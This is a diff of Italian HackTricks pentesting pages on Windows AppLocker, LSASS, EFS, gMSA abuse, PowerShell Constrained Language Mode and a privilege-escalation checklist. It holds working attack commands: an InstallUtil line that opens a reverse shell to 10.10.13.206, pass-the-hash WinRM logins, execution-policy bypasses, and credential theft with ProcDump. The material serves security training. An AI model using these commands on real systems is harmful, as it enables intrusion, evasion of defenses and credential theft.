**ma tutto questo può essere bypassed**. ### Verifica @@ -26,21 +26,21 @@ Questo percorso del registro contiene le configurazioni e le politiche applicate ### Bypass -- Utili **Writable folders** to bypass AppLocker Policy: Se AppLocker consente l'esecuzione di qualsiasi cosa all'interno di `C:\Windows\System32` o `C:\Windows`, ci sono **writable folders** che puoi usare per **bypass this**. +- Esempi di **cartelle scrivibili** utili per eludere AppLocker Policy: se AppLocker consente l'esecuzione di qualsiasi elemento all'interno di `C:\Windows\System32` o `C:\Windows`, esistono **cartelle scrivibili** che puoi usare per **eludere questo**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- I binari comunemente **affidabili** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere anche utili per bypassare AppLocker. -- **Regole scritte male potrebbero essere bypassate** -- Per esempio, **``**, puoi creare una **cartella chiamata `allowed`** in qualsiasi punto e sarà consentita. +- I binari comunemente considerati **trusted** di [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili anche per bypassare AppLocker. +- **Regole scritte male possono essere aggirate** +- Per esempio, **``**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita. - Le organizzazioni spesso si concentrano sul **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma si dimenticano delle **altre** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. -- **DLL enforcement very rarely enabled** a causa del carico aggiuntivo che può imporre sul sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi usare le **DLL come backdoors aiuta a bypassare AppLocker**. -- Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per maggiori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +- **L'enforcement delle DLL è molto raramente abilitato** a causa del carico aggiuntivo che può imporre su un sistema e della quantità di testing richiesta per assicurarsi che nulla si rompa. Quindi usare **DLLs come backdoor aiuta ad aggirare AppLocker**. +- Puoi utilizzare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per maggiori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## Memorizzazione delle credenziali +## Credentials Storage ### Security Accounts Manager (SAM) @@ -48,9 +48,9 @@ Le credenziali locali sono presenti in questo file, le password sono memorizzate ### Local Security Authority (LSA) - LSASS -Le **credenziali** (in forma di hash) sono **salvate** nella **memoria** di questo sottosistema per ragioni di Single Sign-On.\ -**LSA** amministra la **politica di sicurezza** locale (politica delle password, permessi utenti...), **autenticazione**, **token di accesso**...\ -LSA sarà quello che **verificherà** le credenziali fornite all'interno del file **SAM** (per un login locale) e **comunicherà** con il **domain controller** per autenticare un utente di dominio. +Le **credenziali** (in forma di hash) vengono **salvate** nella **memoria** di questo sottosistema per motivi di Single Sign-On.\ +**LSA** amministra la **security policy** locale (password policy, permessi degli utenti...), **authentication**, **access tokens**...\ +LSA sarà quello che **controllerà** le credenziali fornite all'interno del file **SAM** (per un login locale) e **comunicherà** con il **domain controller** per autenticare un utente di dominio. Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket Kerberos, hash NT e LM, password facilmente decriptabili. @@ -59,19 +59,19 @@ Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket K LSA può salvare su disco alcune credenziali: - Password dell'account computer dell'Active Directory (domain controller non raggiungibile). -- Password degli account dei servizi Windows -- Password per le attività pianificate +- Password degli account dei servizi di Windows +- Password delle attività pianificate - Altro (password di applicazioni IIS...) ### NTDS.dit -È il database di Active Directory. È presente solo nei Domain Controller. +È il database dell'Active Directory. È presente solo nei Domain Controllers. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) è un antivirus disponibile in Windows 10 e Windows 11, e in versioni di Windows Server. Blocca tool comuni di pentesting come **`WinPEAS`**. Tuttavia, esistono modi per bypassare queste protezioni. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) è un antivirus disponibile in Windows 10 e Windows 11, e in versioni di Windows Server. Blocca strumenti comuni di pentesting come **`WinPEAS`**. Tuttavia, ci sono modi per eludere queste protezioni. -### Verifica +### Check Per verificare lo **stato** di **Defender** puoi eseguire il cmdlet PS **`Get-MpComputerStatus`** (controlla il valore di **`RealTimeProtectionEnabled`** per sapere se è attivo): @@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0 PSComputerName : -Per enumerarlo potresti anche eseguire: +Per enumerarlo puoi anche eseguire: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -103,36 +103,36 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS protegge i file tramite crittografia, utilizzando una **symmetric key** nota come **File Encryption Key (FEK)**. Questa key viene criptata con la **public key** dell'utente e memorizzata nello $EFS **alternative data stream** del file criptato. Quando è necessaria la decrittazione, la corrispondente **private key** del certificato digitale dell'utente viene usata per decriptare il FEK dallo $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS protegge i file tramite crittografia, utilizzando una **chiave simmetrica** nota come **File Encryption Key (FEK)**. Questa chiave viene crittografata con la **chiave pubblica** dell'utente e memorizzata nello $EFS **alternative data stream** del file crittografato. Quando è necessaria la decrittazione, la corrispondente **chiave privata** del certificato digitale dell'utente viene usata per decrittare il FEK dal flusso $EFS. Maggiori dettagli sono disponibili [here](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Scenari di decrittazione senza iniziativa dell'utente** includono: +**Scenari di decrittazione senza l'iniziativa dell'utente** includono: - Quando file o cartelle vengono spostati su un file system non-EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittati. -- File criptati inviati in rete tramite il protocollo SMB/CIFS vengono decrittati prima della trasmissione. +- I file crittografati inviati attraverso la rete via protocollo SMB/CIFS vengono decrittati prima della trasmissione. -Questo metodo di crittografia permette un **transparent access** ai file criptati per il proprietario. Tuttavia, semplicemente cambiare la password del proprietario e fare logon non consentirà la decrittazione. +Questo metodo di crittografia permette **accesso trasparente** ai file crittografati al proprietario. Tuttavia, semplicemente cambiando la password del proprietario e effettuando il login non si potrà decrittare. -### Key Takeaways +Punti chiave: -- EFS usa un FEK symmetric, criptato con la public key dell'utente. -- La decrittazione impiega la private key dell'utente per accedere al FEK. -- La decrittazione automatica avviene in condizioni specifiche, come la copia su FAT32 o la trasmissione in rete. -- I file criptati sono accessibili al proprietario senza passaggi aggiuntivi. +- EFS usa un FEK simmetrico, crittografato con la chiave pubblica dell'utente. +- La decrittazione impiega la chiave privata dell'utente per accedere al FEK. +- La decrittazione automatica avviene in condizioni specifiche, come la copia su FAT32 o la trasmissione di rete. +- I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi. ### Check EFS info -Verificare se un **user** ha **used** questo **service** controllando se esiste questo percorso:`C:\users\\appdata\roaming\Microsoft\Protect` +Verifica se un **utente** ha **usato** questo **servizio** controllando se esiste questo percorso: `C:\users\\appdata\roaming\Microsoft\Protect` -Check **who** has **access** to the file using cipher /c \ -You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files +Controlla **chi** ha **accesso** al file usando cipher /c \\ +Puoi anche usare `cipher /e` e `cipher /d` all'interno di una cartella per **encrypt** e **decrypt** tutti i file ### Decrypting EFS files -#### Being Authority System +#### Ottenere privilegi SYSTEM -Questo metodo richiede che la **victim user** stia **running** un **process** sul host. Se è così, usando una sessione `meterpreter` puoi impersonare il token del processo dell'utente (`impersonate_token` from `incognito`). Oppure puoi semplicemente `migrate` al processo dell'utente. +Questo metodo richiede che l'**utente vittima** stia **eseguendo** un **processo** sull'host. Se è così, usando una sessione `meterpreter` puoi impersonare il token del processo dell'utente (`impersonate_token` da `incognito`). Oppure puoi semplicemente `migrate` al processo dell'utente. -#### Knowing the users password +#### Conoscere la password dell'utente {{#ref}} @@ -141,64 +141,64 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files ## Group Managed Service Accounts (gMSA) -Microsoft ha sviluppato le **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'opzione "**Password never expire**" abilitata, i gMSA offrono una soluzione più sicura e gestibile: +Microsoft ha sviluppato le **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "**Password never expire**" abilitata, le gMSA offrono una soluzione più sicura e gestibile: -- **Automatic Password Management**: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla policy di dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali della password. -- **Enhanced Security**: questi account sono immuni ai lockout e non possono essere utilizzati per interactive logins, aumentando la sicurezza. -- **Multiple Host Support**: i gMSA possono essere condivisi tra più host, rendendoli ideali per servizi in esecuzione su più server. -- **Scheduled Task Capability**: a differenza dei managed service accounts, i gMSA supportano l'esecuzione di scheduled tasks. -- **Simplified SPN Management**: il sistema aggiorna automaticamente lo Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN. +- **Gestione automatica delle password**: le gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla policy di dominio o computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password. +- **Sicurezza migliorata**: questi account sono immuni dai lockout e non possono essere usati per login interattivi, aumentando la loro sicurezza. +- **Supporto per più host**: le gMSA possono essere condivise su più host, rendendole ideali per servizi che girano su più server. +- **Capacità per Scheduled Task**: a differenza dei managed service accounts, le gMSA supportano l'esecuzione di scheduled task. +- **Semplificazione della gestione SPN**: il sistema aggiorna automaticamente il Service Principal Name (SPN) quando ci sono cambiamenti nei dettagli sAMaccount del computer o nel nome DNS, semplificando la gestione degli SPN. -Le password per i gMSA sono memorizzate nella proprietà LDAP _**msDS-ManagedPassword**_ e vengono automaticamente resettate ogni 30 giorni dai Domain Controllers (DCs). Questa password, un blob di dati criptati noto come [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), può essere recuperata solo dagli amministratori autorizzati e dai server sui quali i gMSA sono installati, garantendo un ambiente sicuro. Per accedere a queste informazioni è richiesta una connessione sicura come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'. +Le password per le gMSA sono memorizzate nell'attributo LDAP _**msDS-ManagedPassword**_ e vengono resettate automaticamente ogni 30 giorni dai Domain Controllers (DC). Questa password, un blob di dati crittografati noto come [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), può essere recuperata solo dagli amministratori autorizzati e dai server su cui le gMSA sono installate, garantendo un ambiente sicuro. Per accedere a queste informazioni è necessaria una connessione protetta come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +Puoi leggere questa password con [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` -[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**Maggiori informazioni in questo post**](https://cube0x0.github.io/Relaying-for-gMSA/) -Inoltre, dai un'occhiata a questa [web page](https://cube0x0.github.io/Relaying-for-gMSA/) su come eseguire un **NTLM relay attack** per **read** la **password** del **gMSA**. +Inoltre, consulta questa [pagina web](https://cube0x0.github.io/Relaying-for-gMSA/) su come eseguire una **NTLM relay attack** per **read** la **password** di **gMSA**. -### Abuso della catena ACL per leggere la password gestita di gMSA (GenericAll -> ReadGMSAPassword) +### Abusing ACL chaining per leggere la password gestita di gMSA (GenericAll -> ReadGMSAPassword) -In molti ambienti, utenti a basso privilegio possono pivotare verso i segreti gMSA senza compromettere il DC abusando di ACL di oggetti mal configurati: +In molti ambienti, utenti con pochi privilegi possono pivot verso i segreti gMSA senza compromettere il DC abusando di ACL di oggetti mal configurate: -- Un gruppo che puoi controllare (es. tramite GenericAll/GenericWrite) riceve `ReadGMSAPassword` su un gMSA. -- Aggiungendoti a quel gruppo, erediti il diritto di leggere il blob `msDS-ManagedPassword` del gMSA tramite LDAP e derivare credenziali NTLM utilizzabili. +- Un gruppo che puoi controllare (p.es., tramite GenericAll/GenericWrite) ha il permesso `ReadGMSAPassword` su una gMSA. +- Aggiungendoti a quel gruppo, erediti il diritto di leggere il blob `msDS-ManagedPassword` della gMSA via LDAP e ricavare credenziali NTLM utilizzabili. -Flusso di lavoro tipico: +Workflow tipico: -1) Scopri il percorso con BloodHound e marca i tuoi foothold principals come Owned. Cerca archi come: +1) Individua il percorso con BloodHound e marca i tuoi foothold principals come Owned. Cerca edges come: - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA 2) Aggiungiti al gruppo intermedio che controlli (esempio con bloodyAD): ```bash bloodyAD --host -d -u -p add groupMember ``` -3) Leggi la password gestita del gMSA tramite LDAP e ricava l'hash NTLM. NetExec automatizza l'estrazione di `msDS-ManagedPassword` e la conversione in NTLM: +3) Leggere la password gestita del gMSA tramite LDAP e derivare l'hash NTLM. NetExec automatizza l'estrazione di `msDS-ManagedPassword` e la conversione in NTLM: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa # Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f ``` -4) Autenticarsi come gMSA utilizzando l'hash NTLM (non è necessario plaintext). Se l'account è in Remote Management Users, WinRM funzionerà direttamente: +4) Autenticarsi come il gMSA utilizzando l'hash NTLM (non serve il plaintext). Se l'account è in Remote Management Users, WinRM funzionerà direttamente: ```bash # SMB / WinRM as the gMSA using the NT hash netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` Note: -- Le letture LDAP di `msDS-ManagedPassword` richiedono sealing (es., LDAPS/sign+seal). Gli strumenti gestiscono questo automaticamente. -- Alle gMSAs vengono spesso concessi diritti locali come WinRM; verifica l'appartenenza ai gruppi (es., Remote Management Users) per pianificare il lateral movement. +- Le letture LDAP di `msDS-ManagedPassword` richiedono sealing (es., LDAPS/sign+seal). Gli strumenti lo gestiscono automaticamente. +- gMSAs ricevono spesso diritti locali come WinRM; verifica l'appartenenza ai gruppi (es., Remote Management Users) per pianificare il movimento laterale. - Se hai bisogno solo del blob per calcolare l'NTLM da solo, vedi la struttura MSDS-MANAGEDPASSWORD_BLOB. ## LAPS -La **Local Administrator Password Solution (LAPS)**, scaricabile da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password dell'amministratore locale. Queste password, che sono **randomizzate**, uniche e **regolarmente cambiate**, sono archiviate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACLs agli utenti autorizzati. Con permessi sufficienti è possibile leggere le password dell'amministratore locale. +La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password dell'amministratore locale. Queste password, che sono **randomizzate**, uniche e **regolarmente cambiate**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è ristretto tramite ACL agli utenti autorizzati. Se vengono concesse autorizzazioni sufficienti, è possibile leggere le password degli amministratori locali. {{#ref}} @@ -207,7 +207,7 @@ La **Local Administrator Password Solution (LAPS)**, scaricabile da [Microsoft]( ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per usare PowerShell efficacemente, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, workflow basati su XAML, classi PowerShell e altro. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **limita molte delle funzionalità** necessarie per usare PowerShell in modo efficace, come il blocco degli oggetti COM, il consentire solo tipi .NET approvati, i workflow basati su XAML, le classi PowerShell e altro. ### **Verifica** ```bash @@ -219,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -Nei Windows attuali quel Bypass non funzionerà ma puoi usare[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Per compilarlo potresti dover** **di** _**Aggiungere un riferimento**_ -> _Sfoglia_ ->_Sfoglia_ -> aggiungere `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto a .Net4.5**. +Nelle versioni attuali di Windows quel Bypass non funzionerà ma puoi usare [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambia il progetto a .Net4.5**. #### Bypass diretto: ```bash @@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare la constrained mode. Per maggiori informazioni vedi: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare la modalità constrained. Per maggiori informazioni consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## Politica di esecuzione PS +## Policy di esecuzione PS -Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa policy: +Per impostazione predefinita è impostata su **restricted.** Principali modi per bypassare questa policy: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -254,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -Maggiori informazioni si trovano [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +Maggiori informazioni possono essere trovate [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) ## Security Support Provider Interface (SSPI) È l'API che può essere usata per autenticare gli utenti. -Lo SSPI sarà responsabile di trovare il protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Successivamente lo SSPI negozierà quale protocollo di autenticazione verrà usato; questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), sono presenti su ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare. +Lo SSPI si occuperà di trovare il protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Successivamente lo SSPI negozierà quale protocollo di autenticazione verrà usato; questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare. ### Principali SSP - **Kerberos**: Il preferito - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** e **NTLMv2**: Per motivi di compatibilità +- **NTLMv1** and **NTLMv2**: Per motivi di compatibilità - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Web servers e LDAP, password in forma di hash MD5 +- **Digest**: Web server e LDAP, password in forma di hash MD5 - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSL e TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: Usato per negoziare il protocollo da usare (Kerberos o NTLM, con Kerberos come predefinito) +- **Negotiate**: Utilizzato per negoziare il protocollo da usare (Kerberos o NTLM, con Kerberos come predefinito) - %windir%\Windows\System32\lsasrv.dll #### La negoziazione potrebbe offrire diversi metodi o solo uno. ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita una **richiesta di consenso per attività elevate**. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **prompt di consenso per attività con privilegi elevati**. {{#ref}} diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 109a491f9..e998fdd52 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,18 +1,18 @@ -# Lista di controllo - escalation dei privilegi locali su Windows +# Lista di controllo - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Miglior strumento per cercare vettori di privilege escalation locale su Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Miglior strumento per cercare vettori di Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### [System Info](windows-local-privilege-escalation/index.html#system-info) - [ ] Ottenere [**System information**](windows-local-privilege-escalation/index.html#system-info) - [ ] Cercare **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Usare **Google** per cercare exploit del **kernel** -- [ ] Usare **searchsploit** per cercare exploit del **kernel** -- [ ] Informazioni interessanti in [**env vars**](windows-local-privilege-escalation/index.html#environment)? +- [ ] Usa **Google per cercare** exploit del kernel +- [ ] Usa **searchsploit** per cercare exploit del kernel +- [ ] Informazioni interessanti nelle [**env vars**](windows-local-privilege-escalation/index.html#environment)? - [ ] Password nella [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Informazioni interessanti in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] Informazioni interessanti nelle [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? - [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) @@ -20,75 +20,75 @@ ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Controllare le impostazioni di [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef) -- [ ] Controllare [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Verificare se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)è attivo +- [ ] Controlla le impostazioni di [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef) +- [ ] Controlla [**LAPS**](windows-local-privilege-escalation/index.html#laps) +- [ ] Verifica se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)è attivo - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Controllare se è presente qualche [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) +- [ ] Controlla se c'è qualche [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Controllare i privilegi dell'utente **corrente** (current user **privileges**)(windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Controlla i [**privilegi**] utente **correnti** (current) (windows-local-privilege-escalation/index.html#users-and-groups) - [ ] Sei [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Verificare se hai [alcuni di questi token abilitati](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] Verifica se hai abilitati uno di questi token: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Controllare [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (accesso?) -- [ ] Controllare la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] Cosa c'è [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] Controlla i[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (accesso?) +- [ ] Controlla la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] Cosa c'è [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Controllare le informazioni **network** **correnti** (current) -- [ ] Controllare i servizi locali nascosti limitati all'esterno +- [ ] Controlla le **informazioni di rete** **correnti** (windows-local-privilege-escalation/index.html#network) +- [ ] Controlla **servizi locali nascosti** esposti verso l'esterno ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Permessi di file e cartelle dei binari dei processi [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] Permessi su file e cartelle dei processi (binaries) [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Rubare credenziali con **interesting processes** tramite `ProcDump.exe` ? (firefox, chrome, ecc ...) +- [ ] Rubare credenziali con **interesting processes** tramite `ProcDump.exe` ? (firefox, chrome, etc ...) ### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Puoi **modify any service**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Puoi **modify** il **binary** che viene **eseguito** da qualche **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Puoi **modify** il **registry** di qualche **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Puoi sfruttare qualche **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] Puoi **modificare qualche service**? (Can you **modify any service**?) +- [ ] Puoi **modificare** la **binary** eseguita da qualche **service**? (Can you **modify** the **binary** that is **executed** by any **service**?) +- [ ] Puoi **modificare** il **registry** di qualche **service**? (Can you **modify** the **registry** of any **service**?) +- [ ] Puoi sfruttare qualche **unquoted service** binary **path**? (Can you take advantage of any **unquoted service** binary **path**?) ### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Write** permessi su applicazioni installate [**Write**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) - [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL 